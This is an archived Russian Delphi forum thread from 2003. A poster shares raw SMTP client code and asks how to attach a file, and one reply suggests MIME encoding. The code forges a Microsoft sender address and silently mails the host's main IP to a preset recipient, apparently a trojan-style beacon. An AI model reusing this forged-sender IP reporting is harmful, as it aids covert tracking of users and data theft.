e-mail

← →
kolerkow (2003-01-09 23:50) [0]

привет господа.
подскажите как сделать аттач.
вот кусок кода
......
//Коннектимся с серваком
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
if (connect(s, addr,sizeof(addr))) =0 then break;
end;
end
else
begin
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
addr.sin_addr.S_addr:=iaddr;
end;
if (connect(s, addr,sizeof(addr))) >0 then exit;
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then exit;
s1:=buf;
if pos("220", s1) <=0 then exit;
buf:="HELO SERVER"#13#10;
sender("HELO SERVER"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
sender("MAIL FROM: <billgates@microsoft.com>"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
adress:="RCPT TO: <"+StrPas(PChar(myusr))+">"+#13#10;
sender(adress);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("25", s1) <=0 then goto ex ;
sender("DATA"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("354", s1) <=0 then goto ex ;
sender("From: <bill@maicrosoft.com>"#13#10);
adress:="To: <"+StrPas(PChar(myusr))+">"+#13#10;
sender(adress);
sender(""#13#10);
sender("alexa"#13#10);
sender("MAIN IP IS: "+MainIP+#13#10);
sender(#13#10"."#13#10);
if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
sender("QUIT"#13#10);
....

← →
Ondatra (2003-01-10 23:35) [1]

Иди ты нахер

← →
Rouse_ © (2003-01-11 00:04) [2]

> Ondatra (10.01.03 23:35)
А что, у психов амнистия?

> kolerkow (09.01.03 23:50)
Для начала конвертируем в MIME = получаем обычный текстовый файл и пересылаем построчно

Желаю успехов

ЗЫ: goto не является хорошим стилем программирования

хакер

e-mail Найти похожие ветки